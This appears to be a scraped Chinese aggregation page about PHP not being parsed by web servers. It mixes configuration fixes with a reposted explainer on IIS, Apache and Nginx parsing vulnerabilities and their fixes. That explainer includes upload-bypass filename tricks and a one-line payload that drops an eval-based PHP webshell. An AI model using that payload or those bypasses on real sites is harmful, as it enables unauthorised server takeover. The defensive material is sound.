精华内容
下载资源
问答
  • 执行: yum install mod_php -y 问题解决

    执行: yum install mod_php -y

    问题解决

    展开全文
  • 服务器解析漏洞详解

    2018-12-11 13:58:06
    服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在。在此记录汇总一些常见服务器的解析漏洞,比如IIS6.0、IIS7.5、apache、nginx等方便以后回顾温习。 (一)IIS5.x-6.x解析漏洞 使用iis5.x-6.x版本的服务器,...

    本文转载至:https://thief.one/2016/09/21/服务器解析漏洞/ 作者:nMask

    服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在。在此记录汇总一些常见服务器的解析漏洞,比如IIS6.0、IIS7.5、apache、nginx等方便以后回顾温习。

    (一)IIS5.x-6.x解析漏洞

    使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

    目录解析(6.0)

    形式:www.xxx.com/xx.asp/xx.jpg
    原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

    文件解析

    形式:www.xxx.com/xx.asp;.jpg
    原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

    解析文件类型

    IIS6.0 默认的可执行文件除了asp还包含这三种 :
    /test.asa
    /test.cer
    /test.cdx

    修复方案

    1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
    2.做好权限设置,限制用户创建文件夹。

    (二)apache解析漏洞

    漏洞原理

    Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

    漏洞形式

    www.xxxx.xxx.com/test.php.php123

    其余配置问题导致漏洞

    (1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
    (2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

    修复方案

    1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

    <Files ~ “.(php.|php3.)”>
            Order Allow,Deny
            Deny from all
    </Files>
    

    2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
    把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule .(php.|php3.) /index.php
    RewriteRule .(pHp.|pHp3.) /index.php
    RewriteRule .(phP.|phP3.) /index.php
    RewriteRule .(Php.|Php3.) /index.php
    RewriteRule .(PHp.|PHp3.) /index.php
    RewriteRule .(PhP.|PhP3.) /index.php
    RewriteRule .(pHP.|pHP3.) /index.php
    RewriteRule .(PHP.|PHP3.) /index.php
    </IfModule>
    
    

    (三)nginx解析漏洞

    漏洞原理

    Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

    PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

    漏洞形式

    www.xxxx.com/UploadFiles/image/1.jpg/1.php
    www.xxxx.com/UploadFiles/image/1.jpg.php
    www.xxxx.com/UploadFiles/image/1.jpg/ \0.php

    另外一种手法:上传一个名字为test.jpg,以下内容的文件。

    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    

    然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
    修复方案
    1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
    2.在Nginx配置文件中添加以下代码:

     if ( $fastcgi_script_name ~ ..*/.*php ) {
      	return 403;
      }
    

    (四)IIS7.5解析漏洞

    IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

    展开全文
  • 切换到Apache2的配置文档里 cd /etc/apache2/mods-available/ 找到对应的php配置的文档我的是php7.0版本所以对应php7.0.conf ...就解决问题了 ph(p[3457]?|t|tml)$"> // 改成".+\.p?h(p[3457]?|

    切换到Apache2的配置文档里

    cd  /etc/apache2/mods-available/

    找到对应的php配置的文档我的是php7.0版本所以对应php7.0.conf

    vi php7.0.conf

    文件基本如下,我们要做的是改掉第一行的正则表达式,在p的前面加一个?就能解决问题了

    <FilesMatch ".+\.ph(p[3457]?|t|tml)$">  // 改成".+\.p?h(p[3457]?|t|tml)$"
        SetHandler application/x-httpd-php
    </FilesMatch>
    <FilesMatch ".+\.phps$">
        SetHandler application/x-httpd-php-source
        # Deny access to raw php sources by default
        # To re-enable it's recommended to enable access to the files
        # only in specific virtual host or directory
        Require all denied
    </FilesMatch>
    # Deny access to files without filename (e.g. '.php')
    <FilesMatch "^\.ph(p[3457]?|t|tml|ps)$">
        Require all denied
    </FilesMatch>
    
    # Running PHP scripts in user directories is disabled by default
    # 
    # To re-enable PHP in user directories comment the following lines
    # (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
    # prevents .htaccess files from disabling it.
    <IfModule mod_userdir.c>
        <Directory /home/*/public_html>
            php_admin_flag engine Off
        </Directory>
    </IfModule>
    改为重启apache2

    service apache2 restart

    然后重进服务器就能解析html中的php代码啦

    展开全文
  • 代码实现PHP web服务器下绝对路径到Web网址的转换 代码中用到几个系统变量或常量: 1. 路径中各目录分隔字符 DIRECTORY_SEPARATOR(常量),Windows下DIRECTORY_SEPARATOR是\\,Linux下是/ 。 2. 变量$_SERVER['...

    代码实现PHP web服务器下绝对路径到Web网址的转换


    代码中用到几个系统变量或常量:

    1. 路径中各目录分隔字符 DIRECTORY_SEPARATOR(常量),Windows下DIRECTORY_SEPARATOR是\\,Linux下是/ 。

    2. 变量$_SERVER['HTTP_HOST']可以返回Web服务器带端口的主机地址(比如 localhost:8080),$_SERVER['SERVER_NAME']可返回不带端口的主机地址。

    3. 常量__FILE__返回当前文件的绝对地址,而dirname(__FILE__)返回当前文件所在目录的绝对地址...


    另外,提一下变量$_SERVER['PHP_SELF']
    该变量返回当前执行脚本的文件名,与document root有关。例如,在地址为http://example.com/test.php/foo.bar 的脚本中使用$_SERVER['PHP_SELF'] 将得到 /test.php/foo.bar


    代码1:

    文件名: path_test.php

    实现将web服务器下绝对路径(文件路径或目录的路径皆可)转换为Web网址...

    <?php
    // echo $_SERVER['SERVER_NAME'];
    echo $_SERVER['HTTP_HOST'].'<br/>';
    
    function Path2webURL($path)  // Absolute File path or Directory path to WebURL
    {
    	$wwwDir='C:/AppServ/www';
    	$path=str_replace(DIRECTORY_SEPARATOR, '/', $path); // 将DIRECTORY_SEPARATOR都替换为/,便于统一处理
    	$ServerDomain=$_SERVER['HTTP_HOST'];  // with port
    	$webURL='http://'.str_ireplace($wwwDir, $ServerDomain, $path);
    	return $webURL;
    }
    
    $test1='C:/AppServ/www/ccc';
    $test2=__FILE__;  // Windows下DIRECTORY_SEPARATOR是\\,Linux下是/
    echo $test2.'<br/>+++++<br/>';
    
    $test3=dirname(__FILE__);  // Windows下DIRECTORY_SEPARATOR是\\,Linux下是/
    echo $test3.'<br/>+++++<br/>';
    
    echo Path2webURL($test1).'<br/>------<br/>';
    echo Path2webURL($test2).'<br/>------<br/>';
    echo Path2webURL($test3).'<br/>------<br/>';
    ?>


    代码1中需要根据具体的操作系统去手动调整Windows或Linux下的目录(即:变量$wwwDir),改进一下,可以写出代码2,对Windows或Linux都通用...


    代码2:

    <?php
    // echo $_SERVER['SERVER_NAME'];
    echo $_SERVER['HTTP_HOST'].'<br/>';
    
    function Path2webURL($path)  // Absolute File path or Directory path to WebURL
    {
    	$wwwDir=array('C:/AppServ/www','/var/www');  // 分别设置Windows和Linux下www文件夹所在路径
    	$path=str_replace(DIRECTORY_SEPARATOR, '/', $path); // 将DIRECTORY_SEPARATOR都替换为/,便于统一处理
    	$ServerDomain=$_SERVER['HTTP_HOST'];  // with port
    	$webURL='http://'.str_ireplace($wwwDir, array($ServerDomain, $ServerDomain), $path);
    	return $webURL;
    }
    
    $test1='C:/AppServ/www/ccc';
    $test2=__FILE__;  // Windows下DIRECTORY_SEPARATOR是\\,Linux下是/
    echo $test2.'<br/>+++++<br/>';
    
    $test3=dirname(__FILE__);  // Windows下DIRECTORY_SEPARATOR是\\,Linux下是/
    echo $test3.'<br/>+++++<br/>';
    
    $test4='/var/www/ddd';
    
    echo Path2webURL($test1).'<br/>------<br/>';
    echo Path2webURL($test2).'<br/>------<br/>';
    echo Path2webURL($test3).'<br/>------<br/>';
    echo Path2webURL($test4).'<br/>------<br/>';
    ?>



    展开全文
  • 查了资料说是,服务器搭建错误,解析不php代码,我试着有该为如下: ![图片说明](https://img-ask.csdn.net/upload/201603/03/1457000675_542659.png) 则执行结果正确,没有了后面的单引号等。 各位大神告一下...
  • 1、服务器会根据文件的后缀名去进行解析,如果是HTML文件则服务器不会进行语法解析,而是直接输出到浏览器。 2、如果一个页面中全部都是HTML代码而没有需要解析PHP语法,则没有必要保存为...HTML不能实现这样的功能
  • 浅谈PHP如何被服务器解析

    千次阅读 2018-07-16 11:30:28
    广泛用于中小型网站的建设,没有java那么重,开发又比较快,但是这种脚本语言是如何被服务器解析的呢?  我们都知道PHP是可以嵌入到HTML中的,但是文件的后缀必须得是以.php结尾,如果是.html,PHP代码片段是会...
  • 这个例子只是简单实现了如何使用 Socket 类实现面向连接的通信。注意:此例子的目的...下面是两个程序的代码,(两个程序均为控制台程序)先发服务端的(Server)完整代码如下:引入命名空间:using System.Net.Socke
  • 【Nginx配置】Nginx本身支持对php的解析,需要将php代码转发到php-fpm 进程管理器来交给php解析解析代码。重要的配置注意注释位置:user www www; # 用户 用户组 worker_processes 1; error_log ...
  • 1.在C:\xampp\apache\conf\httpd.conf 配置文件中找到AddType application/x-gzip .gz .tgz,在这条语句下面添加 AddType application/x-httpd-php .php AddType app
  • golangPHPcgi GOphp–GO解析PHP源码并实现一个miniPHP服务起器byBLOG: http://blog.csdn.net/webxscan/ BY:斗转星移 QQ:29295842 软件目的实现一个本地PHP解析器,不用使用阿帕奇或者IIS。 这样就可以实现很多...
  • httpClient 4.X与PHP服务器通信详解

    千次阅读 2013-12-19 16:10:32
    前言:近期搞android开发,初接触JAVA,对其了解还不够深入,但遇到通信问题时,因为我以为搞过PHP,对PHP还是比较了解的,所以决定用PHP来写后台,但网络上有关客户端与PHP服务器的例子真是少之又少,只能自己一...
  • 网站页面主要分为静态页面和动态页面,纯静态页面组成的网站现在相对比较少见,大型网站一般使用的是动态网站建站技术,还有一部分网站是静态网页与动态网页共存,本文以Apache服务器php语言为例,详解动态网站的...
  • 服务器解析漏洞

    千次阅读 2018-06-23 10:44:30
    服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在。在此记录汇总一些常见服务器的解析漏洞,比如IIS6.0、IIS7.5、apache、nginx等方便以后回顾温习。(一)IIS5.x-6.x解析漏洞使用iis5.x-6.x版本的服务器,...
  • 【说明】 1. 本例中 Apache 版本为 httpd-2.4.20-x...2. PHP 版本为 php-5.5.34-Win32-VC11-x64 ,安装路径为 E:\php-5.5.34 【下载】 登录 http://php.net/downloads.php 下载 PHP,由于我要把它跟 Apache
  • 对于初学者来说,可能会碰到这样一个问题,那就是我们通过html网页,在表单的action中填入后台处理的php文件后,虽然可以跳转到php网页上,但是却显示一大堆php源码而不是处理请求。像这样: &nbsp;&nbsp...
  • 首先,需要搭建个php与sql数据库运行环境,笔者用的是wampserver,将下述代码置于www的根目录中即可,需要自己链接个jquery库,详细的搭建过程见网址:...主要需要注意phpAdmin中的数据库的权限以及数据表的建立。...
  • 配置 客户端 android studio 3.2 +...服务器 windows server 2012R2版 +XAMMP(Apache+MySQL+PHP+tomacat集成软件包)+MySQL-Front 客户端代码 Activity-login.xml &lt;?xml version="1.0" encod...
  • 在浏览器上访问阿里云服务器上的php文件时,并没有解析php文件,而是直接输出这个文件的源码,经过检查发现是没有安装php扩展 安装即可 yum install mod_php ...
  • 大家好,我是你们的朋友哲哲。 这里我们聊聊用在自己电脑上用...如果您在自建的服务器上创建数据库时遇到了麻烦,那么这篇文章或许帮得到你一点点。 首先从http://localhost/phpmyadmin/或者xampp contral panel的
  • 为什么80%的码农都做了架构师?>>> ...
  • 在html文件中运行php代码

    万次阅读 2016-01-21 18:35:27
    在html文件中运行php代码 当访问一个网页时,服务器会根据文件扩展名来判断如何处理页面,一般来说,当检查到扩展名为htm或html时,服务器将文件直接呈现到浏览器端,做任何处理;如果检测到扩展名是PHP、shtml、...
  • Zend Studio 可以直接通过Remote System的方式直接连接服务器端的代码,就是可以直接修改服务器端的代码,不过修改的时间小心点,修改就会立即生效的。 选择Remote Systems 后,在下面就会出现下图 ...
  • PHPmailer无法发送邮件,提示错误Error: Could not connect to SMTP host  出现这种情况一般有两种原因:  1.无法发出请求,本地设置问题  2.连接被stmp服务器拒绝,可能账号出问题,比如发信量大且频繁  ...
  • 微信公众号服务器配置详解一览

    万次阅读 2018-06-06 16:13:20
    这个问题不大小,还是挺繁琐的.......下图是配置完成后的样子,后面给大家详细介绍每一步的步骤:下图为微信公众号开发验证机制:由用户发送请求给微信服务器,微信服务器根据地址URL访问请求个人开发服务器,然后个人...
  • Web服务器工作原理详解(基础篇)

    万次阅读 多人点赞 2018-08-14 17:12:00
    概述:Web服务器概念较为广泛,我们最常说的Web服务器指的是网站服务器,它是建立在Internet之上并且驻留在某种计算机上的程序。Web服务器可以向Web客户端(如浏览器)提供文档或其他服务,只要是遵循HTTP协议而设计的...
  • 如何在html文件中嵌入php代码

    万次阅读 2016-12-02 23:51:00
    在html文件中嵌入php代码时会发现页面显示并没有达到预期效果,原因是服务器解析html文件时没有解析php代码部分,除了修改后缀名为php之外还可以修改httpd.conf文件,具体修改如下:将 AddType application/x-...
  • PHP实现抓取页面与代码解析

    千次阅读 2012-02-08 10:07:49
    PHP DOMDocument对象 3. 插件(如:)  如果你对以上内容已经很了解,以下内容可以飘过……  PHP抓取页面  1. file()函数 <?php $url='http://t.qq.com'; $lines_array=file($url); $lines_string=...
  • Highcharts导出服务器原理解析

    千次阅读 2014-10-31 10:42:52
    导出服务器原理解析 Highcharts图表导出(或下载)本质上是将SVG代码转换为不同文件格式的过程,用到的工具是batik,所以所谓导出服务器,只不过是调用batik,将SVG代码转换并下载。下图说明此过程   图1-...
  • 1.微信公众平台官方代码可以到这里下载:http://mp.weixin.qq.com/wiki/4/2ccadaef44fe1e4b0322355c2312bfa8.html 2.这里把它粘贴出来,以注释的形式...(2)微信公众平台和网站服务器之间是通过XML数据传输消息的;

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 118,146
精华内容 47,258
关键字:

服务器不能解析php代码